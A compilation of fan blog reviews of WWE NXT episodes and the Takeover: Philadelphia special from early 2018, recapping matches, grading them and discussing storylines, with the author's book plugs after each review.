IMG Credit: WWE

NXT
Date: March 21, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Nigel McGuinness, Percy Watson

We’re in the home stretch towards Takeover: New Orleans and you can guess most of the card. NXT knows how to set up things down the last few weeks and I have no doubt that they’ll pull it off again. We also have more from the Dusty Rhodes Tag Team Classic, which could be a lot of fun by the end. Let’s get to it.

Here’s last week’s show if you need a recap.

Opening sequence.

Here’s Tommaso Ciampa, still without music, to open the show. The fans have their Johnny Gargano signs to annoy him even more, which are a great touch. Ciampa has a mic and again the fans won’t let him get a word out. After being cut off over and over, Ciampa finally shouts that HE’S GONE. Gargano isn’t walking down the aisle because he’s gone.

Ciampa drops the mic and heads to the floor to glare at the fans, eventually ripping up the Johnny signs. He pulls away one from a fan….and it’s Johnny Gargano. The fight is on until security pulls him away as Ciampa looks like he’s seen a ghost. Johnny is carried out into the parking lot as the fans want to see them fight. Another great segment here and a moment that needed to happen.

Charly Caruso recaps the first round of the Dusty Classic. There is a change to announce as well: Tyler Bate has injured his knee so Moustache Mountain has to be replaced. A surprise team will replace them tonight. Roderick Strong will be one member, but his partner will be revealed later.

The Undisputed Era laughs off the idea of Strong winning anything in NXT. Adam Cole is so confident that he’d like Kyle O’Reilly and Bobby Fish to stay in the back for his match tonight. In other words, Fish is injured.

Dusty Rhodes Tag Team Classic First Round: Oney Lorcan/Danny Burch vs. Roderick Strong/???

Ok so it’s later and the partner is…..Pete Dunne. Well that works. Strong and Lorcan hit the mat to start with Roderick grabbing something like an STF to keep the pace slow. Burch comes in and gets dragged over to the corner with Dunne coming in to crank on the arm. The twisting only gets Dunne so far as Burch takes the leg out and tries a kneebar, drawing in both partners as we go to a break.

Back with Dunne still working on the arm, followed by a shot to the face to send Burch into the corner. Stereo chops get two on Danny but he comes right back with a middle rope dropkick. Lorcan comes back in for a running boot to the face and a running European uppercut gets two on Strong.

The running Blockbuster gets the same as the pace stays white hot. Everything breaks down again and Strong dives into another uppercut. Burch throws Strong with a release German suplex and Lorcan suplexes Strong onto him in a big crash. Dunne gets caught in a Crossface but Strong kicks Lorcan onto Danny to break up the hold. A blind tag brings Strong back in and End of Heartache finishes Burch at 10:15.

Rating: B-. Dunne didn’t get to shine as much as usual here but it was still a heck of a hard hitting match with all four looking good. Strong and Dunne could make for a solid team built on respect, though I’m not sure how far they’ll go outside of the tournament. We got in a good match here, but it makes me want to see Dunne on his own more than anything else.

Ember Moon vs. Aliyah

Non-title. Aliyah’s headscissors on the mat doesn’t get her very far so she pulls Ember out of the corner and onto the mat for some more success. Cue Shayna Baszler to do commentary, with her feet on the table of course. Aliyah grabs a chinlock for a bit before Moon counters a crossbody into a Samoan drop. A flip clothesline in the corner sets up the Eclipse for the pin at 2:57. Nothing match and little more than a way to have the women on screen together.

Raul Mendoza comes out for a match but gets jumped by Andrade Cien Almas. Andrade and Zelina Vega get in the ring with the former ranting in Spanish about how great of a champion he is. Almas wants Aleister Black to face him next week and to show him some respect.

Lars Sullivan is back next week, along with Aleister Black and Almas going face to face.

William Regal promises an announcement next week to change the landscape of NXT forever.

Adam Cole vs. Kassius Ohno

Ohno grabs an arm to start but gets run over by a shoulder. A big boot to the chest breaks up a leapfrog and there’s a heck of a backsplash to crush Cole in a painful looking landing. Cole gets sent outside and comes up limping but of course it’s just goldbricking, meaning a jumping enziguri rocks Ohno again.

Back with Cole kicking him down for two and getting the same off a neckbreaker. We hit the chinlock for a bit before a Backstabber gets another two. Cole tries a charge and runs right into a punch to the jaw to get us right back to even. Ohno’s big boot into a slam into a legdrop (well he is wearing yellow) give him two of his own and Cole’s head gets knocked off by the cyclone kick.

They forearm the heck out of each other until the Last Shot gives Cole two more. Cole’s Shining Wizard is reversed and the High Tension Elbow knocks him out onto the ramp. Back in and three straight superkicks set up the Last Shot and the running knee to the back of the head (called the Last Shot here) end Ohno at 13:00.

Rating: C+. Ohno is at his best here when he’s putting someone over and making them look awesome. That’s what we got here and the match was a lot of fun with Cole talking trash and hanging in a fight at the end. This gives Cole the little bit of momentum back that he’s been lacking as of late so hopefully this leads somewhere else for him.

Overall Rating: B. They’re getting closer to New Orleans and most of the card is already set. I’m liking the idea of the NXT Title match more and more every week as it’s starting to get out of the shadow of Gargano vs. Ciampa. Having Gargano show up again made for a better show as well, as it was a necessary step to take. Good show here, as they’re starting to make the fans’ mouths water again.

Results

Roderick Strong/Pete Dunne b. Oney Lorcan/Danny Burch – End of Heartache to Burch

Ember Moon b. Aliyah – Eclipse

Adam Cole b. Kassius Ohno – Last Shot

Remember to follow me on Twitter @kbreviews and pick up the 2018 Updated Version of the History of the WWE Championship in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2018/01/26/new-book-kbs-history-of-the-wwe-championship-2018-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: February 14, 2018
Location: Center Stage Theater, Atlanta, Georgia
Commentators: Nigel McGuinness, Percy Watson, Mauro Ranallo

We’ve got another packed show this week with two title matches on tap. First up the Women’s Title is on the line as Ember Moon defends against Shayna Baszler in a rematch from Takeover: Philadelphia. After that, Pete Dunne defends the United Kingdom Title against Roderick Strong. Let’s get to it.

We open with a quick preview of both title matches.

Opening sequence.

United Kingdom Title: Roderick Strong vs. Pete Dunne

Dunne is defending. Strong goes for a very early attempt at the Strong Hold but Dunne slips out as we take an early break. Back with Dunne twisting Strong’s arm around in a very strange angle and kicking it hard. They head outside with more shots to the arm as Dunne is certainly focused so far.

Strong sends him into the barricade though and gets it back inside to take it to the mat. The first backbreaker gets two and the second sends Dunne into the corner for a stomping. They head up top where Dunne cranks on the arm again to get out of a superplex. That’s fine with Strong who gets a fireman’s carry to drop Dunne onto the barricade.

We take another break and come back with Dunne grabbing the arm again. This time he cranks it back ala Lucha Underground’s Pentagon Dark, followed by a sitout powerbomb for two. A snap German suplex puts Strong down again but he dives into a dropkick to give Roderick two this -time. Another backbreaker is countered into an exchange of rollups for two and both guys are down again.

Dunne scores with an enziguri for two and grabs a triangle choke, only to have Strong pull him throat first into the rope for the break. Strong takes him up top for a super Angle Slam and it’s time for another Strong Hold. That’s broken up with a snap of Strong’s fingers though and the Bitter End retains the title at 21:12.

Rating: A-. Is Dunne capable of having a bad match? I really don’t remember the last time that he’s done anything less than great and a lot of that has to do with bringing in a completely different style mostly independent of the WWE training system. Strong looked great here, but at some point he has to actually win something. The great performances can carry him a long way, but he has to actually pull off a big win.

We look back at last week’s outstanding segment with Johnny Gargano, Candice LeRae, Andrade Cien Almas and Zelina Vega. The title rematch is next week.

Velveteen Dream is ready for No Way Jose next week. He has no comment on wanting to face Tyler Bate.

Here’s Aleister Black in a suit for a chat. Black’s path has always lead him one way, starting with a sensation, left him in a dream and put him in the way of an era. The devil has been driving him and that devil is the NXT Championship. Cue Killian Dain to say the devil isn’t on Black’s back. Dain is the one on Black’s back and wants the NXT Title as well. That means Dain has crossed Black though, and now he must fade to black. Aleister challenging for the title in New Orleans makes sense and this certainly feels like the first step toward that match.

TM61 vs. Andrew Duckworth/John Skyler

Thorn drives Skyler into the corner to start and takes Duckworth down with a suplex. A few shots to Thorn’s knee get him into the corner though and trouble begins. It’s over in very short order though as Thorn grabs a belly to back suplex. The hot tag brings in Miller to start cleaning house in short order. Thunder Valley ends Skyler at 2:12. Basically a squash.

Women’s Title: Shayna Baszler vs. Ember Moon

Moon is defending and wastes no time hammering Baszler up against the ropes. The step up enziguri and a pump kick to a kneeling Baszler have her in big trouble. It’s too early for the Eclipse though as Baszler rolls to the floor, only to be taken down by a HARD suicide dive. Moon wrecks the bad arm though and the title is in big trouble. Back in and Baszler grabs a cross armbreaker but Moon is quickly in the ropes. They head outside again with Moon’s arm getting caught in the barricade for more damage. Baszler is going off on the arm so here’s Kairi Sane for the save and the DQ at 4:46.

Rating: D+. Just angle advancement here with Baszler continuing to the monster who doesn’t play by the rules. She’ll win the title, likely in New Orleans, and whoever gets to beat her can be the giant killer. It’s a classic story (or one ripped off from Samoa Joe and AJ Styles in TNA) and it’ll work very well here.

Sane clears the ring and checks on Moon to end the show.

Overall Rating: B. They’ve got some big stuff set up for the coming weeks and you can tell they’re already looking towards New Orleans, which is less than two months away. Next week intrigues me though as you could go either way with Gargano winning and facing Black, who he’s already pinned, in New Orleans or have Ciampa interfere and cost Gargano his NXT career. I’m sure they could find a way to get to the obvious grudge match though, and it’s cool to have so many of these options available.

Results

Pete Dunne b. Roderick Strong – Bitter End

TM61 b. Andrew Duckworth/John Skyler – Thunder Valley to Skyler

Shayna Baszler b. Ember Moon via DQ when Kairi Sane interfered

Remember to follow me on Twitter @kbreviews and pick up the 2018 Updated Version of the History of the WWE Championship in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2018/01/26/new-book-kbs-history-of-the-wwe-championship-2018-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Takeover: Philadelphia
Date: January 28, 2018
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Commentators: Percy Watson, Mauro Ranallo

This one is a little bit different as we don’t really have a top match to build this show around. There’s a lot of good stuff but nothing all that great. That being said, it’s kind of NXT’s bread and butter as they know how to set up a full card instead of hanging everything onto one match. Let’s get to it.

Paul Heyman narrates the opening video, which is either brilliant or missing the point. He talks about how this city has a rich history of fighting but tonight is about the future. We see the standard clips of the big matches before Heyman caps it off with the WE ARE NXT line. Heyman is synonymous with Philadelphia but has never done anything of note in NXT, but the delivery more than makes up for it.

Nigel McGuinness is sick today so Percy gets to take up the slack. This could be a long night.

Tag Team Titles: Undisputed Era vs. Authors of Pain

The Era is defending but there’s no Adam Cole due to his match later. The Authors jump the champs to start things off, sending Fish and O’Reilly outside before the opening bell. Fish bails from Razar to start so it’s Kyle coming in to take him down and strike away. That goes as long as you would expect with Razar powering out without much effort, meaning it’s time to get another breather.

Back in and Fish goes after the knee but gets knocked around by the raw power. It’s off to Akum for some shots to the head, which send the champs outside. Walking away doesn’t work as Fish is pulled back and dropped face first onto the barricade. Back in and Akum gets low bridged to the floor, allowing Fish to kick him in the leg and really take over. Fish spears Razar to the floor (I didn’t think he could pull that off) and it’s time for the double kicks to the ribs.

Some hard kicks to the leg take Akum down and O’Reilly comes back in for a leg lock. Some champion miscommunication allows Akum to hit a good back body drop for the hot tag off to Razar, even though there really aren’t any faces in this. The fall away slam/drop backwards with Fish on Razar’s back combination crushes the champs all over again but they’re right back up with the strikes in the corner.

Fish again shows off the power with an exploder suplex for two but Razar slugs them down. Akum comes back in on the bad leg but it’s a jumping knee to the head to cut off the Last Chapter. O’Reilly grabs a kneebar on Akum and Fish gets a choke on Razar, who flips him down onto Kyle for the save. Not bad.

Everyone is down so the fans start the dueling chants. It’s Akum up first and buckle bombing Fish. A buckle bomb crushes O’Reilly and the Super Collider connects but Akum can’t powerbomb Fish. Instead it’s a hurricanrana to send the Authors into each other and Fish rolls Akum up to retain at 14:56.

Rating: B. While not a great match, it was a smart match with the champs coming at them with a power game to go with the striking and submissions. The leg work was a good story to tell throughout the match as they broke the Authors down and actually went after them instead of running away and stealing a win. I liked the story here and it made for a good match.

War Machine is here.

Earlier today, Velveteen Dream promised a thirty second knockout of Kassius Ohno.

Velveteen Dream vs. Kassius Ohno

Dream now has a muscular man and a woman to help him with his entrance, including a large pillow containing his custom made mouth piece. He’s also now in boxing trunks for a rather sharp change of pace. After Ohno’s entrance, Dream boxes the buckle a little bit. The fans count and Dream hits a big right hand to knock Ohno down at 27 seconds.

Dream dances around though (how Rocky I of him) and gets forearmed in the face, knocking the mouth piece out. Back up and Dream scores with a swinging spinebuster from two as the fans are almost entirely behind Dream here. We hit the chinlock until Ohno powers him into the corner, where Dream unloads with rights and lefts. Dream shouts DREAM OVER at Ohno, followed by a top rope double ax for two more. The second chinlock goes a bit better but Ohno powers out of it again, this time slamming Dream down.

Back up and Ohno easily wins a strike off, followed by the running backsplash. A superkick cuts Ohno off and the wind up DDT (with no snap this time around) gets two, followed by Dream’s Death Valley Driver for the same. The rolling forearm drops Dream but it’s another Death Valley Driver into the Purple Rainmaker (from the post) for the pin on Ohno at 10:46.

Rating: B-. Now where can I get a pair of those shorts? Dream needed this win and that’s why you have someone like Ohno on the roster. He can hit the heck out of people but at the end of the day, he’s going to get pinned off a big finisher. Dream just has the makings of a star though as the fans buy into him, though he’s dead in the water on the main roster where Cole and company would talk about every single thing he does and how they don’t understand it. Good match here, but there was no way they could follow Dream’s two previous matches.

We recap Ember Moon vs. Shayna Baszler. Shayna is the newcomer/outsider as a former mixed martial artist who has choked a bunch of women out. Moon won’t stand for the bullying but Baszler says this has been her plan all along. Above all else though, this feud has shown how lame Ember is while Baszler has shown up and looks like a polished pro right out of the gate.

Women’s Title: Shayna Baszler vs. Ember Moon

Moon is defending. Baszler easily takes her down to start and kicks Moon’s leg out. Back up and Moon scores with some dropkicks to put Baszler out on the floor. A suicide dive drops her again but Baszler takes the hair down and unloads with strikes to the face and chest. Makes sense here as they’re having Baszler easily win the stand-up fighting but getting beaten down in the wrestling.

Baszler steps on the arm like she did to Dakota Kai and it’s off to an armbar. More knees and stomps to the arm have Moon in trouble before Baszler just pulls on the arm. Moon gets in a few slaps though, followed by a kick to the chest and a springboard spinning crossbody. The Eclipse connects but it hurts the arm even more, causing Moon to writhe in pain in the corner.

The trainer comes in to check on the arm and the fans are NOT happy with the delay. Baszler finally gets up and tries a cross armbreaker, only to have Moon get her feet on the ropes. The armbreaker goes on again in the middle of the ring with Baszler even pulling the legs back towards the middle, just in case. Somehow Moon rolls her over though and stacks Baszler up to retain at 10:11, sending Mauro into a huge MAMA MIA.

Rating: B. Moon escaped here and that’s likely to set up a rematch where Baszler wins the title. I get the idea of not putting the title on Baszler just yet but Moon needs to get better in a hurry. They told a good story with the ending as the inexperienced Baszler was too focused on one move and left herself vulnerable, which makes Ember look like a veteran who might have lost the physical battle but won the mental game. At the end of the day, the lack of ever defeating Asuka is hard to overcome and it’s weighing her down a lot. This should help her though and having to fight from underneath is a good story for her.

Moon is helped out but Baszler sneaks up from behind and grabs the choke.

Ricochet (billed as Trevor “Ricochet” Mann) is here.

We recap Aleister Black vs. Adam Cole. Black knocked Cole out of the #1 contenders tournament by kicking him in the head, only to have Cole cost Black the tournament final. A match was set up but William Regal made it Extreme Rules, which might play more towards Cole’s strengths.

Adam Cole vs. Aleister Black

Extreme Rules. Black’s entrance is surrounded by candles and smoke this time around, making it look even better. Black easily wins an early strike off and moonsaults into the seated position. Cole grabs a chair and there’s the ECW chant that you knew was coming. That’s taken away in no time and Black has a seat on the chair as Cole needs to come up with a better idea.

Black follows him out this time and gets caught with a few shots, allowing Cole to throw in some weapons. Both guys find kendo sticks but Black throws his away and says bring it on. He’s either very skilled or very stupid. A few kicks to the chest have Black in trouble but the springboard moonsault is caned out of the air in a good looking crash. Cole’s Backstabber with the kendo stick (White Russian Backstabber?) gets two and it’s table time.

Black breaks up a superplex attempt and gets slammed off the top onto a trashcan. A running knee drops Cole again and Black sets up another table next to the first. That’s not enough though as Black pulls out a ladder but Cole kicks him down and sets the unfolded latter in the corner. Cole is bleeding from somewhere (might be his hand) and hammers away in the corner. Black fights up and drops Cole onto the ladder in a good looking crash.

With Cole down, Black goes up top but Cole throws him a chair and superkicks it into Black’s head, sending him through the tables. Mauro: “HOLY BLEEP INDEED!” That’s only good for two so Cole loads up two chairs next to each other. Black is back up though and hits an AA onto the top of the chairs (FREAKING OW MAN!!!) to probably break Cole’s back. A sliding knee into the chair into Cole’s face gets two as Fish and O’Reilly run in for the save. High/Low on the floor drops Black and it’s time to load up the announcers’ table.

Cue Sanity for the save (makes sense) with Killian Dain taking everyone out with a suicide dive. With Black still down, Cole tries a suplex through the table. That’s broken up as well and the double knees (ala Sasha Banks) drives Cole through instead. Fans: “MAMA MIA!” Back in and Cole scores with his own superkick and grabs a chair. Of course he walks right into Black Mass (to the shoulder) for the pin at 21:58.

Rating: A-. This kept building and turned into a star making performance for both guys. Black is on a roll at this point and that Black Mass should put him into the title match at Takeover: New Orleans. This was better than I thought it would be as it started slowly but built into a brawl with Black finally being the last man standing by the end. Very good stuff here and easily the best part of the night so far.

Ethan Carter III, billed as EC3, is here and officially confirmed as a new signing.

We recap Andrade Cien Almas vs. Johnny Gargano. Almas has righted the ship after months of mediocrity, mainly thanks to the addition of Zelina Vega. Gargano had a nightmare of a 2017 and is on the comeback trail, finally turning himself back into Johnny Wrestling. Tonight is his chance at redemption, both by winning the title and beating Almas, who was a big part of his downward spiral.

NXT Title: Johnny Gargano vs. Andrade Cien Almas

Almas is defending and is played to the ring by a masked mariachi band. He also wears a mask to the ring but takes it off before getting inside. They start with a technical sequence and wrestle to a standoff as we see Johnny’s wife Candice LeRae in the crowd. Neither finisher can connect early on and Almas bails into the corner while waving a finger at Johnny. We start again with Gargano wrestling him down into an armbar but one heck of a chop gets the champ out of trouble.

The announcers recap the Almas story of letting his career fall apart as he gets sent outside but manages to avoid the running flip dive off the apron. Back in and Almas bends Johnny’s neck across the top rope, followed by the chinlock. Johnny fights up but gets caught in the Tree of Woe. Almas misses the top rope stomp though and gets suplexed into the corner. A middle rope swinging Downward Spiral gives Johnny two and the slingshot spear is good for the same.

As usual, Vega has some awesome facial expressions as you can feel her panicking on the near falls, which sell them that much more. Almas catches him with a spinning faceplant for two before going up. The regular moonsault doesn’t work but Almas lands on his feet and hits a standing version for two more in a smart sequence. Johnny’s superkick gets the same and they’re both down again.

Gargano puts him on the top but can’t hit the sunset bomb. Almas misses the running knees in the corner but the slingshot spear is countered into a faceplant. A reverse tornado DDT gets two more and both guys are spent again. Excellent sequence. Almas can’t hit the hammerlock DDT on the apron so Gargano slingshot DDTs him onto the apron instead. That’s only good for a very close two back inside and Almas blocks the Gargano Escape. The running knees are broken up and there’s the Lawn Dart to rock Almas again.

Vega’s distraction lets Almas grab the DDT but that’s reversed into a small package for a VERY close two. A low superkick gives Johnny two, with the camera panning over to tease interference but it just shows Vega panicking at the near fall. Almas cuts him off on top and it’s the top rope double stomp onto the apron, followed by a hard toss to send Gargano into the apron again. Back in and the double knees are good for two and Almas is shocked. To be fair, I am too.

They fight back to their feet and Johnny somehow grabs a hurricanrana. The Gargano Escape goes on and Almas can’t spin out. Vega grabs Almas’ hand and the distraction lets Almas rake Johnny’s eyes. The hammerlock DDT is broken up and a backdrop puts Almas on the floor for a suicide dive of all things. Vega is back up with a hurricanrana to send Johnny into the steps though and the hammerlock DDT…..gets two. They had me on that one.

Gargano rolls outside and Vega goes after him, drawing Candice over the barricade for the brawl. She chases Vega to the back, drawing a THANK YOU CANDICE chant. The slingshot DDT gets a VERY close two and the Gargano Escape goes on again….but the foot is on the ropes. They head to the apron again and Almas hits the running knees to drive Johnny’s head into the post, leaving him with the far away look in his eyes. A draping hammerlock DDT FINALLY ends Gargano at 32:22.

Rating: A+. Oh yeah that was amazing. They had me multiple times on the near falls and I never once got bored throughout the whole thing. Gargano is ready to be NXT Champion at some point and not having Ciampa interfere was the right decision as their match doesn’t need to be for the title. It’s an epic back and forth match with the great near falls being traded near the end. It takes a lot to suck me in like that and they did it to perfection here. Outstanding match.

Post match Candice comes back to take Johnny to the back but they stop for the pose on the stage….AND TOMMASO CIAMPA BREAKS A CRUTCH OVER JOHNNY’S BACK! Ciampa walks away as Candice tends to Johnny to end the show.

Overall Rating: A. Is Takeover capable of having a bad show? Or even a bad match for that matter? Like I said coming in, this felt more like a collection of matches and it still blew me away. The worst match was probably Dream vs. Ohno and even that was above average. Nothing was following that main event though and now you have a double main event of Black vs. Almas and Gargano vs. Ciampa set for New Orleans. That alone makes for a great show and if they have a strong undercard (War Machine vs. Undisputed Era and two others would be more than enough), it could be an all time classic. Great show here of course.

Results

Undisputed Era b. Authors of Pain – Rollup to Razar

Velveteen Dream b. Kassius Ohno – Purple Rainmaker

Ember Moon b. Shayna Baszler – Rollup

Aleister Black b. Adam Cole – Black Mass

Andrade Cien Almas b. Johnny Gargano – Hanging hammerlock DDT

Remember to follow me on Twitter @kbreviews and pick up the 2018 Updated Version of the History of the WWE Championship in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2018/01/26/new-book-kbs-history-of-the-wwe-championship-2018-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: January 24, 2018
Location: Center Stage Theater, Atlanta, Georgia
Commentators: Mauro Ranallo, Nigel McGuinness, Percy Watson

It’s the go home show for Takeover: Philadelphia and that means most of the show is already set. There’s always the chance of throwing some stuff in via a backstage segment but odds are we’ve seen the card announced. Tonight is likely going to be heavy on talking, which isn’t a bad thing around here. Let’s get to it.

With his back to the camera and purple smoke filling the room, Velveteen Dream talks about how we all dream. Everyone wants to be NXT Champion, including Johnny Gargano. Sure Johnny is a fine choice, but why would anyone pick him when they can pick Dream? Tonight, a dream will be over. Good stuff here, as Dream knows how to bring the atmosphere.

Opening sequence.

No Way Jose vs. Cezar Bononi

For once Bononi doesn’t tower over his opponent. Jose shoulders him down to start and hits a quick atomic drop. Bononi fights out of an armbar and hits a pumphandle slam, followed by a chinlock. Back up and Jose scores with some punches to the jaw, followed by a powerslam. The pop up right hand (Toma, which means Take That) ends Bononi at 3:20.

Rating: D. That’s quite the abrupt loss for Bononi, who has been a much bigger deal as of late and not someone you would expect to lose in such short fashion. Also, what’s up with right hands becoming finishers of late? Mojo Rawley uses one and Alexa Bliss has won with them a few times as well. Are they that out of finishers? Either way, it’s nice to see Jose back as I was always a fan.

Video on Adam Cole costing Aleister Black a shot at being #1 contender, setting up their Extreme Rules match at Takeover. As usual, this did a great job of making me buy into the emotion and that’s exactly the point.

Bianca Belair vs. LaToya Alstott

Belair’s tights say Est because she’s the baddest, the best, the toughest, the smartest etc. The LET’S GO JOBBER chants begin as LaToya’s rollup out of the corner is easily blocked. Belair throws her around and shrugs off some kicks to the ribs, setting up a HARD forearm to the jaw. A double chickenwing faceplant puts LaToya down but she gets in a kick to the head for a breather. LaToya goes up though and dives into the hair whip to the ribs. An Alleyoop finishes LaToya at 3:37.

Rating: D+. Belair continues to be impressive with some great athleticism and power (though I still don’t like the hair thing). She’s similar to Shelton Benjamin with the awesome athletic background and that’s a very good thing for her. LaToya was your standard jobber and didn’t show anything of note, but she wasn’t supposed to here.

Earlier today, Shayna Baszler and Ember Moon sat down for an interview. Ember talks about the code of the women’s division and Shayna having no respect. Baszler laughs it off and says that it was never about hurting people but rather the end goal. She saw Moon go up against the undefeated….and lose. Moon kept going and accomplished her dream, but when she wakes up at Takeover, she’ll see Baszler walking away with that dream. The one thing Baszler wants everyone to know: they’ll have to get used to it.

A few things here. First of all, I know this was heavily scripted, but Baszler came off as more natural and that’s because she’s already got the character down. She’s the bully who doesn’t care about anything that came before her and just wants the title. That’s it and she’s nailing that character. Moon doesn’t exactly have a character and that showed here, along with sounding very scripted. Also, this is almost exactly AJ Styles vs. Samoa Joe from TNA when Joe disrespected the X-Division and destroyed Christopher Daniels. Not a bad story, but it’s about as copied as you can get.

We get the second part of the TM61 video, this time focusing on Shane Thorn’s knee injury. It’s kept him (and the team) on the shelf for about six months but now they’re back to prove that they’re the best team around. They know their greatness and HARLEY RACE endorses them. Well I’m certainly sold. They’re back in the ring next week.

Authors of Pain vs. Chris Brown/Jason Smith

No match as the Authors destroy the jobbers and promise to do the same to the Undisputed Era. The Super Collider makes things even worse.

Next week: Nikki Cross vs. Lacey Evans.

Velveteen Dream vs. Johnny Gargano

The winner faces Andrade Cien Almas at Takeover and they have A LOT of time here. Dream wears a Johnny Wrestling shirt to the ring to play some mind games. The fans are split as they hit the mat to start with neither being able to get the advantage. Dream throws him away and poses, mocking Gargano for crying before. That earns him a Gargano Escape but Dream gets to the floor, albeit with a sore arm, as we take a break.

Back with Gargano knocking the bad arm into the announcers’ table and cannonballing off the apron to take Dream down. The slingshot spear is countered with a hanging swinging neckbreaker though and Dream uppercuts him in the back. They head outside again with Dream slugging away and we take another break. Back again with Johnny hitting an enziguri but getting superkicked away.

Johnny bounces off the ropes though and clotheslines Dream down for a delayed two. Neither can hit a headscissors so Dream grabs that Sister Abigail DDT for two of his own. Johnny shoves him away again but gets crotched on top to slow things down all over again. A super Death Valley Driver plants Johnny again (and that’s a MAMA MIA from Mauro) for two more with the fans hanging on these kickouts. The Purple Rainmaker hits knees (thanks to Dream’s left arm being so banged up) and it’s the Gargano Escape to make Dream tap at 19:14.

Rating: A-. The arm stuff was a good story and the idea of Johnny never giving up and fighting the whole way through was the perfect way to send him on to the title match. Dream losing again is somewhat questionable as he needs to win a big match, but in this case it fits the story of Johnny needing to eliminate all doubts. It should be a great match and thankfully it was set up by a great match.

Post match Andrade Cien Almas and Zelina Vega come out and drop Gargano with a shot to the head. Johnny gets tossed to the floor but comes back in with the slingshot DDT and poses with the title as Mauro plugs everything on Saturday to end the show.

Overall Rating: B. This show did its job rather well, especially with the NXT Title feud. I want to see that match a lot more now as they sold me on the story they’re trying to tell. They’ve also set it up where Ciampa returning to screw Gargano out of his dream or Ciampa returning later to be the big challenger both work, and that’s a great place to be. The rest of the show wasn’t as strong, but everything else is already set for Saturday anyway.

Results

No Way Jose b. Cezar Bononi – Toma

Bianca Belair b. LaToya Alstott – Alleyoop

Johnny Gargano b. Velveteen Dream – Gargano Escape

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: January 17, 2018
Location: Center Stage Theater, Atlanta, Georgia
Commentators: Mauro Ranallo, Nigel McGuinness, Percy Watson

Opening sequence.

Heavy Machinery vs. Tino Sabbatelli/Riddick Moss

Roderick Strong vs. Fabian Aichner

Strong tries a headlock to start as the fans seem split. A leg lariat gives Strong two but Aichner powerslams him out of the air as we take a break. Back with Aichner holding an abdominal stretch until Strong fights out. The Angle Slam is broken up so Strong settles for his first backbreaker. Aichner is right back with a tilt-a-whirl backbreaker of his own and goes up, only to dive into another backbreaker. The Strong Hold (now a Liontamer) is good for the tap out at 7:37.

Post match Strong says he wants Lars Sullivan, who had already said he wanted to face Killian Dain. So we might be looking at a three way?

Aliyah vs. Lacey Evans

William Regal makes the title match for Takeover. Zelina Vega comes in to say Velveteen Dream deserves the shot more than Johnny Gargano so they should have a #1 contenders match.

We look back at the Undisputed Era attacking Sanity to avoid the title defense last week.

Authors of Pain vs. Street Profits

Results

Tino Sabbatelli/Riddick Moss b. Heavy Machinery – Rollup to Moss

Roderick Strong b. Fabian Aichner – Strong Hold

Lacey Evans b. Aliyah – Right hand

Authors of Pain b. Street Profits – Last Chapter to Ford

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: January 3, 2018
Hosts: Kayla Braxton, Mike Rome

It’s the first show of the year but as a special, we’re looking at the Best Of 2017 in a double length episode. These are always fun to look at as there’s nearly a guarantee that you’ve forgotten at least something that you’ll see tonight. There’s been a lot of good throughout the year for NXT so let’s get to it.

As usual, even if the versions presented on the broadcast are clipped, I’ll be posting the full review of each match.

Opening sequence.

We look at Bobby Roode defeating Shinsuke Nakamura for the NXT Title in January.

We look at the rematch from Takeover: Orlando with the full entrances, albeit with some different camera angles during the entrances. Roode retained and Nakamura got the big sendoff.

Video on Shinsuke Nakamura’s NXT career from William Regal announcing his debut all the way to his farewell in April.

Video on Drew McIntyre coming to NXT.

From Takeover: San Antonio.

Tag Team Titles: DIY vs. Authors of Pain

We look at Drew McIntyre winning the NXT Title at Takeover: Brooklyn. Again it’s just a few minutes of highlights from a long match. Post match, the yet to be named Undisputed Era ran in and attacked McIntyre.

Video on the Undisputed Era, focusing on Adam Cole.

We look at the Undisputed Era stealing the Tag Team Titles two weeks ago.

Here are some of the tag teams to watch in 2018: the Undisputed Era, the Street Profits, Tino Sabbatelli and Riddick Moss, Heavy Machinery and TM61 (returning from injury in two weeks).

Video on Aleister Black vs. Velveteen Dream. I underrated the heck out of that match.

From Takeover: WarGames.

Aleister Black vs. Velveteen Dream

Black does his still awesome rising up entrance. Dream debuts some custom made tights with himself on one leg and Black on the other ala Rick Rude back in the day. The fans are rather pleased with Dream, even as he slaps Black in the face. They hit the mat to start with Black working on an armbar before grabbing something like an Octopus hold. Dream slips out and actually tries to turn it into a striking match, earning himself a trip to the floor.

That allows Black to backflip into his sitting pose, right in front of Dream. A hip swivel doesn’t seem to get on Black’s nerves, but he does look away a bit. Dream sits down as well as the fans chant SAY HIS NAME. Black crawls forward like Dream did a few weeks back, freaking Dream out for a change. Dream actually snaps his throat across the ropes to send Black outside, meaning it’s time for more posing.

Back in and Dream gets two off a good looking superkick before we hit a reverse chinlock (Dream: “SAY IT! SAY IT!”). Black gets tied up in the ropes as the fans really want him to say it. Dream slaps him though and that’s just not a good idea. Black speeds things up with some strikes and a springboard moonsault press for two (SWEET, according to the annoying fans).

A quick Death Valley Driver gives Dream two so he tries a super version, only to get kicked down. Black knees him in the face for a close two, only to get caught in a Sister Abigail into a DDT for a delayed two. The Purple Rainmaker lands on a raised boot though, sending Dream into the ropes. Black kicks him in the face but walks into a superkick. That’s enough for Black though and it’s Black Mass for the pin at 14:41.

